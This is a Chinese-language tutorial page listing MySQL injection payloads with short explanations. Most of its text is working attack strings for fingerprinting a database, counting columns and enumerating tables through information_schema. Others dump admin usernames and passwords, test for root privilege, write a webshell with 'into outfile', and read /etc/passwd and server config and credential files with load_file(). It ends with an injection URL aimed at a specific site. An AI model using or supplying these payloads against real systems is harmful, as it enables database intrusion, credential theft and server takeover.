程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> MySQL綜合教程 >> MYSQL注入語句

MYSQL注入語句

編輯:MySQL綜合教程

MYSQL注入語句


and ord(mid(version(),1,1))>51  解釋1: 確認數據庫版本 51是ASCII碼3 正確則>4.0 錯誤則<4.0,當版本大於3.0時才能使用union方法; 解釋2:ord()是mysql的函數用於獲取二進制碼; 解釋3:mid()是mysql的函數用於截位操作; 解釋4:version()是mysql的函數用於獲取當前數據庫的版本; union select 1,1,1,****1,1  解釋:聯合功能,用於試探當前sql查詢結果返回的字段數; order by 13  解釋:排序功能,根據查詢結果中的第幾個字段數做排序,試探當前sql查詢返回的字段數 union select 1,2,3,4,****11,12,13 from admin  解釋:返回正確則admin表名存在 union select 1,version(),3,*** 13 from admin  解釋:暴數據庫版本 union select 1,username,3,*** 13 from admin    解釋:暴賬號/密碼    union select 1,username,3,*** 13 from admin where id=2  解釋:暴admin表 第2個用戶 主鍵為ID and ord(mid(user(),1,1))=144 解釋:判斷ROOT權限 返回正確存在   and 1=1 union select 1,2,3,4,5…….n 解釋:匹配字段 and 1=2 union select 1,2,3,4,5…..n 解釋:暴字段位置 version() database() user() 解釋:利用內置函數暴數據庫信息  不用猜解可用字段暴數據庫信息(有些網站不適用): and 1=2 union all select version() and 1=2 union all select database()  and 1=2 union all select user()  and 1=2 union all select @@global.version_compile_os from mysql.user  解釋:獲取操作系統信息: and ord(mid(user(),1,1))=114  解釋:獲取數據庫權限,若返回正常說明為root權限 and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1 解釋:暴庫 (mysql>5.0)Mysql 5 以上有內置庫 information_schema,存儲著mysql的所有數據庫和表結構信息 and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄) 解釋:猜表 and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1 解釋:猜字段 and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1 解釋:暴密碼 Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1 解釋:高級用法(一個可用字段顯示兩個數據內容)   直接寫馬(Root權限) 條件1:知道站點物理路徑 條件2:有足夠大的權限(可以用select …. from mysql.user測試) 條件3:magic_quotes_gpc()=OFF select ‘' into outfile ‘物理路徑' and 1=2 union all select 一句話HEX值 into outfile '路徑'    load_file() 常用路徑: replace(load_file(0×2F6574632F706173737764),0×3c,0×20) replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 解釋:上面兩個是查看一個PHP文件裡完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼. load_file(char(47))  解釋:可以列出FreeBSD,Sunos系統根目錄 /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf  解釋:查看linux APACHE虛擬主機配置文件 c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf  解釋:查看WINDOWS系統apache文件 c:/Resin-3.0.14/conf/resin.conf  解釋:查看jsp開發的網站 resin文件配置信息 c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf  解釋:查看linux系統配置的JSP虛擬主機 d:\APACHE\Apache2\conf\httpd.conf C:\Program Files\mysql\my.ini ../themes/darkblue_orange/layout.inc.php phpmyadmin  解釋:爆路徑  c:\windows\system32\inetsrv\MetaBase.xml  解釋:查看IIS的虛擬主機配置文件 /usr/local/resin-3.0.22/conf/resin.conf  解釋:針對3.0.22的RESIN配置文件查看  /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看  /etc/sysconfig/iptables  解釋:本看防火牆策略 usr/local/app/php5 b/php.ini  解釋:PHP 的相當設置 /etc/my.cnf  解釋:MYSQL的配置文件  /etc/redhat-release  解釋:紅帽子的系統版本 C:\mysql\data\mysql\user.MYD  解釋:存在MYSQL系統中的用戶密碼 /etc/sysconfig/network-scripts/ifcfg-eth0  解釋:查看IP /usr/local/app/php5 b/php.ini  解釋:PHP相關設置 /usr/local/app/apache2/conf/extra tpd-vhosts.conf  解釋:虛擬網站設置 C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini c:\windows\my.ini c:\boot.ini 網站常用配置文件 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32)) 注:Char(60)表示 <,Char(32)表示 空格 手工注射時出現的問題: 當注射後頁面顯示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION' 如:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20,這是由於前後編碼不一致造成的,解決方法:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改為:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20,既可以繼續注射了。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved